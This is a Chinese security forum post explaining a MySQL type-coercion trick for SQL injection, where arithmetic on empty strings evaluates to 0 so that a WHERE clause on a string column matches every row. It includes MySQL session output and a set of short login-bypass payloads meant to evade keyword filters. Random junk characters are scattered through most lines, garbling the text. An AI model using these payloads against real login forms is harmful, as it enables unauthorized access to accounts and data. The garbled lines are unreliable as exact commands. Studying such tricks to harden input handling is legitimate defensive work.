找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2112|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。. t& V7 N1 y* w' A
有以下表结构:
+ T1 x' J: c: {4 {& I- k7 j8 Q( h8 _! H: X' I7 U" }: e% L
mysql> desc admin;5 A& S5 f) o, Z5 ?" R2 \! O
+----------+--------------+------+-----+---------+----------------+
/ f' e2 b: z& g" }| Field    | Type         | Null | Key | Default | Extra          |/ S, B+ \0 y$ ~
+----------+--------------+------+-----+---------+----------------+  Q8 e9 X$ J; C6 V  c
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
- F* x, o% n7 ?. X| name     | char(32)     | NO   | UNI | NULL    |                |
* ^  F$ i  b) v7 G3 k" O/ o| password | char(32)     | NO   | UNI | NULL    |                |/ y6 J9 y& a$ z/ ^3 I. X% G
+----------+--------------+------+-----+---------+----------------+. N! u! Q1 Y- |
3 rows in set (0.00 sec)# h+ b, X( _7 f. p$ B
执行select * from admin;,成功返回所有记录内容。
; ?; I# A" G: g* c' j0 {' c
! B! {) v  |% l  I( r, O) D0 [5 k. V2 r8 J2 E0 Z, s
+----+--------+----------------------------------+7 C! k& N% w& Y# B
| id | name   | password                         |: ?, i% }" W7 P  [
+----+--------+----------------------------------+4 N1 j& J6 n" e$ U! u, G
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
5 ~# s7 @0 P2 Z; M) R; `7 H3 M6 a|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; |2 h) ?& @& }1 d% M
|  4 | n00b   | ff80e8508d39047460921792273533a4 |7 Q( ?/ \. \5 }" i* {
+----+--------+----------------------------------+8 O$ j; ^6 q1 f- H
3 rows in set (0.00 sec)8 X2 Q1 \0 t3 m# U6 G1 \" k) D
执行select * from admin where name=”;,没有匹配到任何记录。 7 w8 r! K7 v. @" h4 D

' i+ v% s3 ~& j* N9 Z$ z; e( pmysql> select * from admin where name = '';
: }8 x) H# k6 yEmpty set (0.00 sec)
' ^, @7 F( _8 |5 M# c) _那么我们来执行select * from admin where name = ”-”;
" |: ], Z6 c  B% R. u, l# ]: T% V4 u3 O. }" J
. e$ Z7 k7 j$ o
+----+--------+----------------------------------+
. r/ f; ~1 E  L. D1 l; B- p| id | name   | password                         |
0 o1 y# X+ `1 P; H2 |* O+----+--------+----------------------------------+
+ o* ]. h# S" G8 L& n1 [$ Z9 F|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
2 g" n( @1 v4 l' U' M8 ^% Y|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
9 n9 l9 j; x' }% |# g( [2 @/ V' n0 W|  4 | n00b   | ff80e8508d39047460921792273533a4 |
8 w% W, C, k) b; D+----+--------+----------------------------------+& R2 T& p( @+ L% A! C% s
3 rows in set, 3 warnings (0.00 sec)
0 b; |! w/ V2 B1 k- ^! P/ }9 C; |$ j可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
; u8 U. O" f: O+ z1 x! x1 M+ y3 w
' W6 ~. e; n- Nmysql> show warnings;- L& ~& j; w5 q
+---------+------+------------------------------------------; `) e1 a% e. ?6 s
| Level   | Code | Message
6 B$ W; }9 M) Y) o9 v& l5 J+---------+------+------------------------------------------" x3 h& Z  F; h8 j: Z) _6 X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
/ v. u: d7 |: F$ B/ D| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
- [! n+ }  |2 i$ n6 j0 s, J| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
7 S( E6 f, w, F) s5 V  C+---------+------+------------------------------------------  g, T2 O( k* T" I9 H* o/ d+ f
3 rows in set (0.00 sec)5 i* e/ A  _: @3 d4 f6 g2 [  M2 \
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 " J2 Y% H9 M8 \1 F5 M* Q# ]8 r
) x+ Z' _# h3 i  V: b9 D) ?
mysql> select ''-'';
  c9 h3 P: }& ?/ o9 U# x+ X, k# Q+-------+
6 u* G3 ^  }8 q9 Z* j, v% p3 ~+ G| ''-'' |8 G4 S, x4 F' b$ {1 A! L3 G
+-------+
. a! u! c" M+ a8 N3 i2 M|     0 |
) K. C5 z/ w# e0 z) ~3 a$ r7 e- ?+-------+
" W- c& ]9 m9 a- e# z8 O1 row in set (0.00 sec)
  t. z  H* U# l! s/ n. ]/ s# |返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 0 ?4 ?8 V! X5 q8 p, c6 @
- g* P' ~7 t# e7 n
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
# O$ T& f# e8 l/ D: l+-----------------------------------------------------+9 `$ O  }+ ^5 J! m5 a
| CAST((select name from admin limit 1,1) as DECIMAL) |$ g# M, Z7 J3 A1 d; E3 R7 c
+-----------------------------------------------------+0 i& _* b' Z: b" G  \
|                                                   0 |% K* `- h2 o( h, L
+-----------------------------------------------------+1 i7 U6 W4 ?5 U5 Z  G$ l- U$ _: j
1 row in set, 1 warning (0.00 sec)/ T4 t( \. W0 H) |
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 7 X8 U( }* x3 c: c: u( K' f
% W6 G3 B# Y! A( g# I
SQL注入场景: http://www.sqlzoo.net/hack/
( ], d. B; e! F
' L' i# ]$ z) q4 {9 u1 m8 @1 \0 ~5 _; |  a2 t+ i3 |: Y
" x; g+ L+ ]- M- z
9 Q* R) _$ C$ ^
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 2 T4 O+ x/ H+ P, D0 ?- w
! ?; \  @  i+ `# D
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
9 F, B9 m6 M+ h2 b) w7 q* Y6 |; l. r0 {
; _6 @0 G# y2 E' G( \+ d9 L4 v; O4 b  ^& S- T1 E2 H' d

% L% O, H9 \6 ?- W0 j# h
5 I+ T( U- c, j* e! ]+ Z  b仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
2 x8 f. [2 ~  s; S+ i2 n, @* @5 F' e
8 G) Y1 |- X! T8 J6 z   8 S! k, c. {) o  _* W2 ?
& }8 P) u  F1 O+ l( w$ q9 e
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可# {/ f& T8 {/ ^! m2 t7 o. y6 ?1 r
% Y6 E( ^( ?4 U# B% k, G
6 B! E/ o! S4 K) f( _0 x" k7 a
mysql> select ''/1;6 M2 v2 e9 Q& f. x/ h% A$ H2 D7 S
+------+! D1 T1 [, A4 ?% T' A
| ''/1 |
1 ^8 Z4 c* i* o: K  B9 c4 g+------+" ~% U% X2 u. m; [7 [5 L0 `( a& M8 H
|    0 |7 ^" q, b1 j! i! c; R' I
+------+- s- k+ _6 w1 p4 k6 G
1 row in set (0.00 sec)
# A. ]; {% B$ F+ {' _8 M类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  $ @& C6 D( @6 r( g
5 l- @' h8 F- f' [/ c6 {
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。' I) f/ n1 J2 S, s: h4 a5 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表